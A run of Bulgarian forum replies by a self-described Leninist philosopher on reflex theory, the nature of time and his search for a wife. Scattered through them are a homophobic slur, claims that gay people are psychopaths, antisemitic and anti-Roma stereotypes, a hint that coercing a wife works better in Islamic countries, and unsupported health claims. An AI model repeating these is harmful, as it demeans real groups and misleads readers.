Даааааааааааааааааааааа. Аз съм. И става дума точно за тази с "Виждам, че си добре.", която вече нито 5 пари, нито 2 стотинки струва за мене! 10 години похарчени емоции, надежди, БОЛКА!... И накрая да ми пише "Виждам, че си добре!" и да си мисли само за нея си... аааа, ами рано или късно чашата прелива.
"Затова аз викам да приемем положението, че госпожицата е просто една добра другарка и нищо повече.”
Да, ама вече не е. Между другото, там в оня форум представях нещата малко по-замаскирано. В смисъл, че момичето си ми беше другарка и нямаше как да пиша коя е тя, та я представях като лелка, а себе си за чичко. Нали искахме психологически съвети от специалистите, а и преследвахме други, подсъзнателни цели. Но вече ми е никаква, затова и мога да кажа истината - момиче 83 набор, учеше икономика в Германия. Ето го тука: /в днешно време не желая да се занимавам с постване на снимки онлайн./
"ех, Dalai, Dalai ................ (как ли ще разтълкуваш, това, последното многоточие?"
Ами със забележката, че многоточие се пише само с 3 (три) точки.
-
115. Хм... ето това се вика БИОЛОГИЧЕСКИ ОПТИМИЗЪМ. Хераклит, който е на около 30 земни години, след 150 щял да е само "внук на преклонна възраст"... Ееее, бате, къде дават така до над 180 да живеем, бе?! Ние да не сме дървета?... Ще се радвам да споделиш как става, понеже и аз искам до над 180!
Колкото до стареенето - ами би трябвало да се забавя, защото експериментално са установили и руснаци, и американци, че се забавят нещата при висока скорост. Но, аз което твърдя е, че се забавя не ВРЕМЕТО, а ДВИЖЕНИЕТО на обектите, процесите. Щото време няма. То е УСЛОВНА МЯРКА... нещо като МЕТЪРа, примерно или КИЛОГРАМА...
116. Както и си е кореспондирал с Блаватска и се потапя в Нюейджизъм, нали така?
117. Лилия, радвам се, че можем да си говорим и на български. Сега ще те просветля с едно твърдение на Диалектическия материализъм: "Не е важно кога е изречена една истина." Т.е., ако мислиш, че по-новите "казвания", обезателно са по-ценни от по-старите, по-правдиви от по-старите, то изпадаш в предразсъдък, наречен ХРОНОЦЕНТРИЗЪМ. Нещо лошо както РАСИЗЪМ, ЕЙДЖИЗЪМ, СЕКСИЗЪМ. /Добавям и ЗОДИЗЪМ./
Няма значение дали, примерно някой е сбъркал днес или вчера. Грешката си е грешка. Няма и значение дали някой е бил прав днес или преди 50 години. Правото си е право.
Бихейвиористите също са се повлияли от Павловизма, вярно е.
Следва лозунг (аз като комунист го разпознавам веднага) :
"Само че това схващане се натъква на сериозни проблеми. И в огромната си част ученото човечество отдавна е осъзнало неговата ограниченост."
Доказателства? (Както ме е учил Александър Андонов!)
-------------
И сега по въпросът, който е възникнал у Лилито не поради остарялостта на Павловизма, а поради недоизучаването му:
"Защо, ако познанието беше просто образуване на условни рефлекси, тези организми не могат да знаят това, което ние знаем?"
Ами, защото :
1) Има разлика между наличие на Нервна система и неналичие на таква.
2) Има разлика между ПЪРВОСИГНАЛНИ и ВТОРОСИГНАЛНИ същества. Колкото е по-развита нервната система, толкова е по-стойностно УЧЕНЕТО, т.е. овладяването на РЕФЛЕКСИ.
"Или защо висшите примати, които виждат и усещат това, които ние виждаме и усещаме не могат "да научат" това, което ние сме "научили""
ОТГОВОР:
-ЗАЩОТО НЯМАТ ВТОРА СИГНАЛНА СИСТЕМА!
И, все пак, като великолепен ученик не само на Андонов, но и на ВАЛЕРИ ДИНЕВ ще кажа, че маймуняците /гальовно ги наричам така; аз обичам животните, с изключение на комари, хлебарки, мухи, тении и от сорта/, които са възпитани и отгледани в човешка среда научават доста повече, точно благодарение на възможността им да бъдат УЧЕНИ, ОБУЧАВАНИ и да им се създадат повече условни рефлекси, отколкото в естествената им среда. Същото се отнася и до кучетата, папагалите. /(И други животни.)/
118. Постовете на Турлаков са удоволствие! Извинявам се, ако честите ми хвалби към него са натрапливи, но аз съм човек с високо самомнение + много откровен, та, ако наистина хваля някой, то има защо. (И публично заявявам, че на времето - 1993-1998 - пропуснах толкова възможности да съм по-често в контакт с тази личност! С годините (понякога) човек се осъзнава!...)
Великолепен пример с Хайдегер е дал Николай (макар и да не ми е любимият философ този Хайдегер, аз най-обичам Ленин!) относно това, че успехите на науките се дължат много на това, че някои учени са и философи! Това е именно Диалектико-метериалистическият идеал, според който ФИЛОСОФИЯТА Е МИРОГЛЕД И МЕТОД на частната наука!
Конкретно:
"няма просто факти, а че един факт е това, което е, само в светлината на едно не винаги явно, но по-фундаментално разбиране и се простира дотам, докъдето са границите на такова разбиране и неговата понятност."
Просто и точно казано - става дума за ФАКТ + ИНТЕРПРЕТАЦИЯ НА ФАКТА В СУБЕКТНОТО СЪЗНАНИЕ. Тоест ФАКТИТЕ СА СИ ФАКТИ, А ТЯХНОТО ОТРАЖЕНИЕ (пък било то и творческо отражение) в съзнанието си е тяхната ИНТЕРПРЕТАЦИЯ. Смесването на "ФАКТ" и "ИНТЕРПРЕТАЦИЯ на факта" не е правилно и е едно от нещата, което наистина дават основание да се съгласяваме с Ясперс (философ и психиатър), който твърди, че Хайдегеровата философия не е съвсем безопасна.
-
Следващите.
119. О-хо! Това, макар и под друг ник, откривам, е колежката с която не си пасваме (не е чела Ленин, примерно, а и няма гражданство на любима моя страна!) И така...
1. Колежке, ти не си САМО "ФОРМА НА ЖИВОТ", но и не си "НЕ-ФОРМА НА ЖИВОТ". Т.е. ти си НАД-ЖИВОТ, доколкото си и МИСЛЕЩА, но не си НЕ-ЖИВОТ. /Само живо, не означава живо-и-мислещо./
2. GSM-те са вредни за здравето + унищожават и последната възможност човек да не е безспокоен от шефовете, когато има, по график, почивен ден. Радвам се, че имам още нещо общо с Турлаков - нямаме мобилни телефони! Cool! ~ /И до ден-днешен избягвам мобилните телефони. Вредни са. Има достатъчно литература по въпроса и дори становища на СЗО./
3. Хареса ми формулировката ти за "несъпричастността на овцата към котлона"! Има хляб в тебе!
4. ЕДИНИЧНО, ОСОБЕНО, ОБЩО! Много, ама много важни неща за диалектиката. В този смисъл ти имаш ОБЩО с ОВЦЕТЕ, да не изброявам надълго и нашироко, но най-малкото сте от Земята, сте бозайници и пр. Човекът, според последни научни дефиниции, си остава вид ФАУНА, ЖИВОТНО. ЗООН ПОЛИТИКОН. Нищо толкова ново.
5. Лазарев (също много ценен като Турлаков философ /но пак казвам, много от твърденията му са недоказани, а оттам не могат да се приемат за верни/) твърди, че в дълбочина всичко е едно и също (на същото мнение са и физиците, както и, донякъде, еволюционистите), така че нищо лошо няма да прегърнеш идеята, че между тебе и овцата, и между мене и овена няма кой знае колко голяма разлика на доста нива. /Хората и овцете са все млекопитаещи, бозайници. Хората, генетично, са най-близки до днешните шимпанзета, с които са нещо като "братовчеди". Нито хората произлизат от шимпанзета, нито шимпанзетата от хора. Те просто имат общ прародител./
120. Ако излезнем извън трактовките на ЗНАНИЕ-МНЕНИЕ, изхождащи от някои древно-гръцки философски традиции, можем напълно сериозно да заключим, че РЕДИЦА МНЕНИЯ СА "ОСНОВАНИ НА" И "СЪДЪРЖАТ" знание.
121. Да, аз разпердушиням, т.е. АНАЛИЗИРАМ всичко. АНАЛИЗЪТ означава именно разделяне, разчленяване, за да се изследват нещата.
Пф... виза. Виза може всеки да получи, аз за гражданство говоря. Има туристически, работни и всякакви визи.
Колкото до китайците, ВЕЧЕ, не са ниски. След Втората световна порастнаха с 10 см. За справка - Яо Минг, най-известният китайски баскетболист е по-висок от доста западни хора. Наистина не са ниски вече. Иначе аз съм нисък - 178 см.
Иначе да, не си пасваме. Тя го е казала икономистката на времето - "Всичко точно, ама не си пасваме!" Хаха... Как ми припомни само отдавна забравени неща в по-поредния си пост...
"напротив, всичко е последователност от психо-физиологични процеси, над които странно, но изненадано, установяваш, че нямаш власт."
Не бе, аз имам, но не съм властен човек и ги оставям да си вършат работата. ;)
"Аз ти обяснявам принципната страна на интимност, ти ми говориш за некви..... парясници..."
Ами и те са хора. Т.е. взимат се под внимание, за да е по-пълна картинката.
"Ама какво си мислиш, че аз не мога да ти разказвам за простаци и говеда ли, но какъв е смисъла, а, да, по комунистически- ето, другари не правете така, като тия, които не разбират от творчество и техниката, а за науката да не говорим."
По Бейкън направо. Индукция. Вземаме, но не едностранно, много отделни случаи и си правим изводите.
"оперен певец (ужас беше тва, никога няма да си го простя!)."
Абе, ако не е човек на място и гъдулар да е... все тая...
"все същите сме си готини, само дето аз съм по-умна (да, не се фукам, той го каза). Да, ама той си има приятелка, с която живеят заедно в неговия апартамент."
Ето нещо, което потвърждава правилото ми, че ако си имаш приятел, не трябва да го оставяш сам да се среща с тоя-оня.
"Всеки от нещо си се разочарова, но ако може без драми."
Разбира се. Аз като изключим последния боклук, дето ми натресе и венерология /гъбички, добре че не беше нещо сериозно като сифилис или хепатит... много са възможностите: "4 Видове полово предавани болести
4.1 Бактериални
4.2 Гъбични
4.3 Вирусни
4.4 Инсекти
4.5 Протозойни" Източник:https://bg.wikipedia.org/wiki/Болести,_предавани_по_полов_път (https://bg.wikipedia.org/wiki/Болести,_предавани_по_полов_път) / на всичко отгоре с други драми не съм правил.
--------------------------------
Успех с ангажиментите!
122. Аз тъкмо се зарадвах, че си открил Елексира на младостта или направо ПАНАЦЕЯ-та, а то се оказва банална математическа грешка... ами така е, няма чудеса...
123. Както казах в друга тема ВРЕМЕ няма. Това е само мярка на движението. Точен ти е примерът. Земята и да спре пак ще си протичат процеси на стареене в организмите и нищо няма да се промени, освен това, че няма да има смяна на сезони, както и ден с нощ...То, ако така се спираше времето - всеки космонавт, който излиза в орбита би трябвало да "замръзва", защото му я няма Земята под краката, която да му дава "време". Няма време като субстанция. Има само материя и движение. Време, пространство са мерки.
124. При мене с нивата не се получава, понеже твърде скоро започват да ме разочароват. В началото слагат маски, чрез които удовлетворяват повечето потребности и след месец-два, дори седмици маската пада и от нивата я останало нещо, я не.
Гражданството е аспект на брака, не на любовта. Ясно е, че едно е любов, а съвсем дуго е брак. Има бракове по сметка има бракове по любов, има и смесени.
Знаеш ли аз така и не разбирам какво искаш да кажеш с думата "куан". Онова от Дзен-будизма ли?
Иначе за никой не съжалявам. Ако можех да почна от началото - капка внимание нямаше да им обърна. И двете са егоицентрични, емоционално-лабилни, като едната даже ме завлече и с пари (бившата ми жена).
В китайския няма Ж нито З. Онази актриса се казва Джан Дзъи. И се ожени за богат, стар американец. /Така бях чул по онова време, а и нямах много познания в издирването на информация онлайн (ако въобще е имало тогава). После разбрах, че става дума само за по-възрастен западняк-милионер, който й е гадже. В днешно време знам, че е омъжена за известен китаец. Никога не съм се интересувал обстойно от биографиите на хората. За повече информация по въпросите всеки може да следи официалните сайтове на звездите и да се информира с точност./
В тайландки трудно се влюбвам заради смецификата на обществото им. То по-пропаднало и от българското - огромно количество транссексуални, наркомани, престъпност, болести... /Критериите за пропадналост са субективни, но аз си оставам с убеждението, а то не е само мое, че във въпросните общества има такива проблеми./ В днешно време да решиш да имаш семейство с някой от Тайланд е равносилно да се задомиш с някой от "Факултето" и да живееш в самото "Факултето". /Визирам, че в по-бедните цигански общности има идентични или сходни проблеми като тези на много места в Тайланд, където има бедност, престъпност, необразованост и др./ Даже се двоумя дали при ромите няма по-малък % на дивотия и престъпления, отколкото в Тайланд. /Говоря за роми и тайландци, които са недообразовани и недосоциализирани./ Да не говорим, че политически и те като редица други са САЩ-марионетка. В този смисъл аз харесвам човешки условия и предпочитам гражданки на по-човешки държави, общества /в смисъл на по-ХУМАННИ: по-социални, по-социлистически, по-защитени и сигурни за хората, живеещи там/. По-ми удовлетворяват потребностите на комунист, философ, поет и пр.
Ограниченията се налагат ИМЕННО, ЗА ДА СЕ ПРОПУСНАТ МНОГО НЕЩА - тези, които са вредни и/или неполезно и/или нестойностни и/или неправомерни. Т.е. ограничението е това, което ни помага да вървим към целите си (а дали ще стигнем си е отделен въпрос). Така или иначе каквото и да се пропусне - не ме интересува. Аз съм се наиграл отдавна. Не съм алчен за много. Едно ми стига, ако е свястно.
-
Продълженията:
125. "Бих искала да знам .... от къде накъде Б. знае, че кърпата на гардероба му е синя"
Знае го по рефлекс. Като малък са му показвали много сини неща и все са ги назовавали като "СИНЬО". И му се е оформило като рефлекс. Ако някой го е учил, че това не е синьо, а е ЖЪЛТО, ще вика, че е жълто.
В някои езици, примерно няма дума за ОРАНЖЕВ (което значи просто ПОРТОКАЛОВ в превод). И те си викат на оранжевото с много по-точно име - ЧЕРВЕНО-ЖЪЛТО/ЖЪЛТО-ЧЕРВЕНО.
"къде е 41 аудитория?"
Пак по рефлекс. Показали са му, направил си е асоциацията и вече си го знае.
"И как така "горещия котлон" при допир изгаря??? Някой научил ли ме е? Ако да- как? Ако не- как Го знам?"
Ами това учене е още по-просто и го има даже при жабите. Примерно като реши да яде оса и се ожили и после знае, че осите жилят. Някои мухи успешно мимикрират като оси и не биват ядени от жабите. Ученето е фасулска работа.
126. Аз да се позова на безценния си опит. На времето живеех с една китайка в замяна на това да й давам 50 % от приходите си по договори, която тя сключва за мене (на оня етап беше единствената алтернатива) и един ден й казах, че гъбите НЕ СА РАСТЕНИЯ, нито са животни, а заемат собствено място в света на живото. И тя се ядоса, че знам нещо повече от нея, та омаловажи моето "знам, че" с идеята, че е много по-важно човек да има практическа интелигентност ("знам как"), където да можел, примерно да разреши проблем с прекарването през малка врата на по-голям обект от самата врата, отколкото да знаел фактологии по отношение на биологията... /Сега като се замисля може да не се е ядосвала, че знам повече от нея, а да е била ядосана, че й се поднася толкова "безполезна информация". Много често подобни хора са ме питали каква е ползата от знанията по биология, история, философия и пр. За тях това е напълно безполезно./ И това, ако не е примитивен прагматизъм?!... /По-късно се убедих, че дори примитивни прагматисти успяват, без много знания по науките и философиите, да се уредят по-добре в живота спрямо учените и възвисени, но бедни хора. Така че въпросният примитивизъм в това отношение невинаги им пречи на успешността в живота./
Колкото до Германия, ако Хитлер беше победил (за нацистите даже имаше "Еврейски" науки и "Германски" науки, и какво ли не), сега всеки щеше да чете и знае само немски, италиански и японски философи, за останалите можеше и да няма никакви данни. Те са си горели книги с удоволствие, че даже Хайдегер се е повъзмутил и не е учатвал в тези палежи, както четох. /Така че, ДОЛУ ХИТЛЕР И ДОЛУ НАЦИЗМА!/
127. "Щото аз единствения начин да видя как твоята феноменология може да покаже, че познанието не е един кво си е като приема че Феноменологията Е познанието. Което тя, разбира се, не е. Та - обувките падат, щото нема връзки."
Момент сега - АКО ФЕНОМЕНОЛОГИЯТА (или всяка друга -ЛОГИЯ) е МЕТОДОЛОГИЯ НА ПОЗНАНИЕТО, то може да показва какво е то. В смисъл, че познанието като такова оперира (е снабдено) с различни методи и не е нужно да се свежда всеки един от неговите методи до самото него. Те са си негови части.
" А Фреге си е немец при това як антиевреец ама той и Хайдегер май нещо нацист си падаше та явно кашата е пълна. "
Не са само те. Много антисемити са не-нацисти и дори не-немци. Просто евреите в редица отношения будят антипатия като се почне от учението им, че са богоизбран народ и се стигне до разни нещица от типа на това, че се обрязват, не ядат свинско... Ами не се нравят на всички. Факт. /Имам предвид, че не се нравят на всички, но има и толерантни към тях или дори такива, които ги харесват./
"Последно, не е като да не съм споменавал, че асоциациите ти с ингилизите са малко не на място и ако феноменологията не може да ти помогне пробвай емпирично да дойдеш и да провериш. На ден виждам по няколкостотин островитяни, повечето нови и нещо не ми се червенеят, амо напротив, доста здрав равномерен тен си имат хората."
Аз имам по-скромни наблюдения - около 20-на англичани, ама наистина много анемични изглеждат. По филмите (то това от блендата) си изглеждат като българи, ама на яве са доста бледолики. Сега разбирам какво са имали предвид индианците. Обаче, немците са почти същата "боя", така че... /Има и изключения, но наистина повечето, които срещам на живо са доста по-бели от средния балканец. Просто отбелязвам. Не съм колорист; не съм и расист./
128. Хм, сигурно ще те разочаровам в доста отговори. Не гледам много филми, а и не намирам днес, че е необходимо филмите да задават философските интерпретации на философите. В този смисъл си оставам на традиционното, японско, дзен понятие на куанността. /След години пак прогледах повечко филми, но не с цел да си развивам философията по този начин, а да се забавлявам, да се отпускам, да научавам някои по-простички неща./
"и не е толкова важно, че точно тя се е омъжила за богаташ (еми така е справедливо сега, ти нали не си алчен)."
Аз това в контекста на нравственото осъждане, което й правят. Иначе аз нямам нищо против, понеже може пък и да се обичат хората, де да знаеш? Единственото против, което имам е, че не се омъжи за мене. Тази жена така и не можа да ме опознае, а аз съм толкова достойна за опознаване личност... /Хумористично, но в някои моменти съм си го мечтал наистина./
"Аз споменах красотата на расата, все пак са повечко от някои други, така че имаш избор и то голям, т.е. косвено ти дадох надежда."
Ами няма раса-класа тука. Навсякъде си има дебели, несъразмерни, уродливи и пр., които да не отговарят на естетическите критерии. Отделно пък красотата е толкова недостатъчно условие, че често брак може да сполучи и без красота, но с наличността на останалите необходими условия, отколкото само с красота. Защото след като гледаш някой няколко месеца АНАТОМИЧНОСТИТЕ не ти правят впечатление, но започва да има значение ФУНКЦИОНАЛНОСТТА му. Тоест, ако мъжът ти ти тегли по някой пердах "за спорта", напива се "до козирката" и пр., вземаш да предпочиташ да е някой по-добър и отговорен, макар и не толкова хубав.
"Тайландка, австралийки също ясно, че са пропаднали, въпреки, че след опита ти с китайка-та може да поспорим, кое от културата е определящо, за ..... «гражданството~» на една жена."
Това не го разбрах. Иначе казвам, че обществата им морално са деградиращи, не че всеки отделен индивид е лош. /Сравнявам ги с по-добрата моралност в Китай./
"Затова сега, ако искаш ще си поговорим за основното. За тази «свястната» (ама с китайско гражданство, ако може да е)."
На този етап е много, ама много желателно. Виж, ако България беше китайски автономен район или Китай да беше член на ЕС - друга работа. /Изтормозил съм се толкова много години с тези паспорти и визи! Благородно завиждам на хората, които не се нуждаят от такива неща за пребиваването си в някоя държава!/
"Аз за такива «свестни» не съм чувала ... да ги предлагат в магазин-а примерно. Коства усилие – двустранно, за да се получи свястна. Така е, важен си е маТРиала, ама приемаме, че е средностатистическа «череша» примерно. Отиваш, взимаш и от този материал, прибираш се в къщи и..... започва «обработката», творенето, така да се каже. С твоите знания и опит съм сигурна, че доста можеш да дадеш от себе си, за да стане повече от свястно. Но не трябва да се забравя, че тази «череша» има и едно такова «собствено» излъчване и характерност, което все пак изначално я различава от всички останали на този свят, това е нейната уникалност. Всяка е уникална, ама дълбоко в себе си, нищо, че като цяло и поведение на вас мъжете ви изглеждаме еднакви."
Значи напълно съм несъгласен. Ако имаш пред себе си мъж-диалектик и ленинист, който много добре знае какво е ОБЩО, ОСОБЕНО и ЕДИНИЧНО, както и такъв с над 300 жени зад гърба си /като приблизителна бройка за различни степени на общуване и съприкосновение/ няма да си помислиш, че са ми еднакви. Как бе?! Една е 80 кила, друга само 39. Една пуши като комин, друга не. Една не се къпе с месеци, друга по 3 пъти на ден. Една е фенка на Троцки, друга на Маркс, трета даже не ги е чувала... Въобще не са еднакви. Ако бяха еднакви - първата срещната и готово. Аз имам опашка в момента от желаещи, но не стават. Примерно една целува всякаква мръсотия, която може да й попадне пред погледа - котки, кучета, дете, което не се е мило поне 48 часа и пълзи по земята... И после да ме целува мене? Ами бактерии, ами вируси, ами заболявания? "Ами два шамара, а?" (Вдъхновен съм от Боби Турбото, нека и аз да си послужа с кино ;) /Цитирам хумористичен скеч. Иначе съм против домашното насилие във всичките му форми!/) Или пък други две, които, не са виновни хората, но в компанията им се чувствам като безплатен посетител на зоопарка - едната наподобява хипопотам, а втората успешно доказва теорията, че и бозайниците, не само птиците са произлезли от влечугите. /Не съм лукист, но наистина въпросните хора от женски пол извикваха спонтанна погнуса у мен в естетически план./ Много наподобява млад крокодил. /Шегичка, но наистина беше супер грозна за съвременните критерии./ Така че едни не отговарят на хигиенните изисквания, други на нормално-естетическите, и така. Ех, де да бяха еднакви!... Не са.
"Та, ако успееш да срещнеш мацка с китайско гражданство трябва да стигнеш до тази дълбочина, на нейната уникалност, и около тази сърцевина ти САМ да изградиш всичко останало..."
Аз ги срещам всеки ден, въпросът е да се срещне сравнително-доброто. И да се държи, както казва Юнуз Юнузов, сметка както за възможността, така и за невъзможността. (Човекът си е направил труда да ми отговори на икономическо-философско питане, та го цитирам с това, което най-много ми хареса.)
"Докато при НЕЯ, каквото си направиш, това ще си търпиш."
Това хич не е вярно. Ако мога да си послужа с Марксистко-Енгелсовата терминология - Жената иде в живота ти като ДАДЕНО. Т.е. като плод на възпитание в семейството, социални въздействия и самовъзпитание. И това значи, че превъзпитанието е нещото, което може да се осъществи, а може и да не се осъществи. Примерно някоя, ако е свикнала да не се къпе поне 2 пъти седмично, знаеш ли какъв зор е да се създаде такъв полезен навик у нея? Или пък да е свикнала да се отдава на сексуален кеф не само с един?...Не ства лесно душа. По-добре да си намериш стойностно-изграден човек, отколкото да се забаламосваш, че може да го/я промениш. Ами чакай, че аз в този пост не съм споменавал Турлаков и редовните ми читатели ще се почувстват странно - примерно съпругата му решава, че Николай си губи времето с тази философия и трябва да се занимае с нещо друго и за целта го праща да стане космонавт. Ами няма да стане! (А това го давам като пример, защото човекът реагира бурно на идеята да учат философите допълнителни неща като социология, психология и пр. с незабравимите думи : "Ами аз няма да се учудя, ако утре, примерно решат, че трябва да учим и космонавтика, например!"... Запомнящи се думи...)
Хубав е примерът ти, че с времето хората се менят. Това става от създаването на нови рефклеси, най-вече.
Нищото и времето? Ами да. 2 неща, дето ги няма като субстанции.
"Мисли за това като жена, и ако движението е насочено и координирано, колко добро “пътуване” ще се получи."
Абе не става много лесно. Андонов, процитиран от Турлаков, е казал, че основанията за изменението на субекта са в самия него. Т.е., ако тя сама не е насочена, координирана и пр., аз тепърва да я уча ще си е малко като Сизифов труд. Още по-прост пример, няма да е за космонавтика. Иде ти някоя дето свикнала да употребява по 3-4 литра концентрат на ден. Ами то баща ми в отделението за Алкохолни и неалкохолни токсикомании не може да ги излекува такива, представяш ли си аз в качеството си на не-лекар и не-болница как ще й въздействам. Боят помага ограничено, а и понякога влошава нещата. /Имам предвид самоотбраната в случай на набадение от алкохолизирани или дрогирани, независимо от пола им./ Да тръгнеш на логика и на здравни съвети пак няма голяма файда, щото обикновено ти казват: "И що мислиш, че само ти си прав?" или "И какво от това?", т.е. за тях логическите и научни обосновки нямат стойност... Така че по-добре да не е олигофрен, иначе дори и медицинската наука не е способна да помогне, камо ли някакъв си съпруг с ограничени от закона права. Виж да си в някоя ислямска страна, дето имаш по-широки права, ехеее... може и да се постигнат някои чудеса с аверзивни реакции, но, пак казвам - не е задължително.
НЯКОЙ/НЯКОЯ ми рекъл във форум "глупак нещастен"? Ох, душа, аз съм стар форумджия и такива неща, ако взема да ги помня няма да мога да помня, че "Байдзин джуи" /"拜金主义"/ значи "Мамонизъм" (вчера го учих) или пък да запомня някоя полезна фраза на Николай Турлаков като "Смисловите, фундаментални граници на своето разбиране." Т.е. паметта не е нещо безгранично (особено репродуктивната), та гледам да не я пълня с някакви си такива неща. Казали са ми, реагирал съм (не се съмнявам, че съм реагирал запомнящо се) и съм го погребал в съзнанието си. Така наречения ЗАРАВЯЩ МЕТОД, противопоставен на психоанализата и открит от български психиатър.
Колкото до оня форум - там е ужасно. Самата модераторка на психология, която хвалиш е с психически дефекти и доста лошо се опита да ми навреди. Лично си е признавала, че е употребявала наркотици, че е правила групов секс, а като я помолих да изтрие един пост, който можеше да навреди на тогавашната ми другарка тя не само, че не го стори, но и получих бан. Отделно заради спорове с ХАМИЛ (мисля, че е популярен доктор по философия и в този форум, от Московския университет) е решила, че всички философи сме лоши... абе трагедия пълна е тази дебелана. Относно философията в онзи форум основно убеждавах хората за времето, което тука, личи си интелигентното, веднага ме разбрахте и не се наложи да доказвам.
"Ник-а е бил женско име, но след като отговаря съвсем неочаквано се оказва, че е мъж (може би ревнив, не знам,.... модераторката (хи-хи) е умна, да, признавам), и сега... се налага да пиша за Шопенхауер, не че имам нещо против, ама... както и да е, така че мисля заслужавам инфото, за което те моля."
Ами аман от травестити и педали! /"Педали" е жаргонна форма за означаване на хомосексуалистите от мъжки пол или педерастите./ Аз си оставам на мнението, което е научно и вписано в МКБ-10 (Международен кодекс на болестите - десета ревизия), че хомосексуалистите са сексуални психопати. И хич не ме интересува, че дори Корейските комунисти решили, че да си педераст не било болест. В смисъл не си кривя душата, дори и, когато Партията сбърка. И точно такива комунисти са полезни. /Имам предвид, че не съм хомофоб (не съм и хомофил), но оставам на позициите, които бяха променени по-късно; има и други учени, конкретно - психиатри, които си остават на предишната позиция, че хомосексуализмът си е сексуално отклонение, подобно на зоофилията, педофилията и т. н., и е добре да се осъзнава като такова, а желаещите страдащи от него, да се лекуват. В някои страни, законово, хомосексуализмът дори се води престъпление и е наказуем, и до ден-днешен.
Имам предвид и това, че всеки един човек, независимо в коя партия е, ако е обективен и посочва градивно грешките на партията си, теоретично, е по-полезен отколкото сляпоследващите партийните линии./
129. Аз да ви кажа пък откритието на Любен Сивилов (по-малко цитиран от мене, но еднакво-полезен, ако не и по-полезен философ от Андонов, примерно). Човекът казва, че ГРЕШКАТА е резултат от ИСТИНА+НЕИСТИНА. Не е равнозначна на неистината.
130. Уважаеми Николай,
позволявам си да ги пиша тези неща само и единствено, защото си ги казвал публично (пред минимум 2-ма човека - мен и Деян до максимум 103, колкото ни беше курса). И да умре и баща ми, ако съм написал нещо с подигравателно чувство, това го заявявам най-отговорно не само, за да си сигурен ти в доброто ми отношение, а и всеки, който е прочел нашите философско-антропологични мнения и, случайно, се е усъмнил Георги дали пък не се подиграва. Както казах (а и както колежката упорито ми издирва стари постове) аз съм стар форумджия (от 2004 година), та, ако искам да обидя някой го правя явно и открито.
Ако някой ме запита защо ги пиша тези неща - съвсем откровено казвам: първо, за да останат в историята, защото си струват като оригиналност, форма и/или съдържание. Второ, защото подкрепят тезите ми. Т.е. като цитирам Турлаков все едно, че цитирам Ленин или Сивилов, или някой от останалите си "скромни" идоли.
Сега нека и аз да отговоря на въпроса ти, защото мисля, че ми е приоритетен. Не е тайна за никой, че аз не станах нищо повече от магистър по философия и последните години преподавам само чужди езици на ниво детска градина през Средно училище до университет, но ни за миг не съм изоставял научно-философските си занимания дори и в най-тежките моменти в нелекия си живот.
1) Човешкото ПОВЕДЕНИЕ не може да се сведе САМО до условни и безусловни рефлекси. Знанието като такова може и в епистемологическата тема го загатнах. Поведението се базира на:
- условни
- безусловни рефлекси
- емоции
- нагони
- желания
- потребности...
2) Голяма разлика между човешкото и животинското поведение няма.
2.1. Първо човеците също са вид животни. Хомо Сапиенсът си се класифцира от модерните биолози, заедно с шимпанзета, горили, орангутани. Като ДНК сходството е 97-98 %. В този смисъл човешкото поведение е вид животинско, приемано за социално-животинско по традиция от Аристотел - "ЗООН ПОЛИТИКОН".
2.2. Единствената разлика, която се правеше от класиците беше в ТРУДА и ЕЗИКА, както и в някои неща като СОЦИАЛНО ПОВЕДЕНИЕ и пр. Обаче с напредването на техниката и наблюденията се оказва, че без много качествени разлики, а чисто-количествени подобни неща има и при животните, особено при маймуните, с които имаме ОБЩ ПРЕДШЕСТВЕНИК - те също полагат труд (примерно строят гнезда за нощуване, изработват примитивни инструменти за добив на храна и пр.), имат си езици от порядъка на 100-150 думи /и жестове/, които са различни за всяко племе/група маймуни и, ако даден екземпляр от една група попадне в друга не може да се разбира, т.е. става чужденец. :)
Базовото различие е в СИЛНО-РАЗВИТАТА Втора сигнална система на човека. Т.е. способността му да създава условни рефлекси благодарение на ДУМИ. Т.е. ОПОСРЕДСТВАНО. Примерът с котлона е показателен. За жабата - няма как - трябва да опита оса, да се ожили, за да не посяга повече на оси. Докато за човек, без да пипа котлон, ако се напише (и е грамотен) "Не пипай, защото е много горещо.", той ще си изгради условния рефлекс, ОПОСРЕДСТВЕНО, т.е. ВТОРО-СИГНАЛНО.
Всичко останало си е еднакво като при животните - храна, вода, въздух, секс, конкуренция (вътрешновидова, междувидова), егоизъм-алтруизъм, болка-удоволствие и пр.
Заключение: Не е нужно да даваме за пример вълчите деца или Тарзан, за да видим какво е човекът по природа, оставен на себе си. Погледни живота на някои по-примитивни хора в условията на изобилие и/или на по-занижени потребности. Има си все още ПЛЕМЕНА в Бразилия, примерно, които си живеят в първобитно-общинен или родово-общинен строй. При тях няма нужда от философия, наука... хората си битуват, общо взето, като някое съседно маймунско племе. Интересното е, че в Индонезия, в съзнанието на едни индонезийци орангутаните (ОРАНГ = ЧОВЕК , УТАН = ГОРСКИ) и едно пигмейско племе са горе-долу едно и също нещо. Т.е. Средновековните индонезийци са смятали, че хората-пигмеи и орангутаните са едно и също нещо - особен, по-див, човешки род. Половият диморфизъм при орангутаните е силно изразен, но не само това е причината. Чисто социално маймуните не се различават много от невъвлечени в някаква съвременна култура хора. А на култура може да се учат, с различна успеваемост и маймуни. Помниш, предполагам, примерът на Сивилов за обучените в човешки език (около 1000 думи май бяха) маймуни, които после били пуснати на свобода, но продължили да си ползват културата, която им е дадена и сутрин като се срещнели се спирали и се поздравявали от сорта:
-Здравей!
-Здравей, как си?
-Добре, благодаря!
-Чао!
-Чао!
...
-
Отново продълженията:
131. "ИДЕЯТА, ЧЕ ОСНОВАНИЯТА ЗА ИЗМЕНЕНИЕТО НА СУБЕКТА СА В САМИЯ НЕГО КАК ТОЧНО СЕ ВРЪЗВА С ТЕОРИЯТА, ЧЕ ЧОВЕШКОТО ПОВЕДЕНИЕ Е ИЗТЪКАНО ОТ УСЛОВНИ РЕФЛЕКСИ, КОИТО СЕ ОБРАЗУВАТ ПОД ВЛИЯНИЕТО НА СРЕДАТА?"
Това е въпрос, който трябва да се постави точно на мен, а не на Андонов, примерно, защото Андонов не обича да се занимава с психология. А аз като човек не само с ДЪЛБОКИ, но и с ШИРОКИ интереси (нещо, което някои философи пропускат да вършат, т.е. да си разширяват познанията, да се информират) ще ти отговоря. То ще стане направо едно СНЕМАНЕ по Хегел. Така :
1. Жената/бъдещата ми втора съпруга, за която говорим, ми се дава като вече ОФОРМЕНОСТ, ДАДЕНОСТ, а не като "Табула Раса". Вярно е, че тя продължава да е в процес на ИЗМЕНЕНИЕ И РАЗВИТИЕ, но БАЗОВОТО си стои непокътнато в голяма степен.
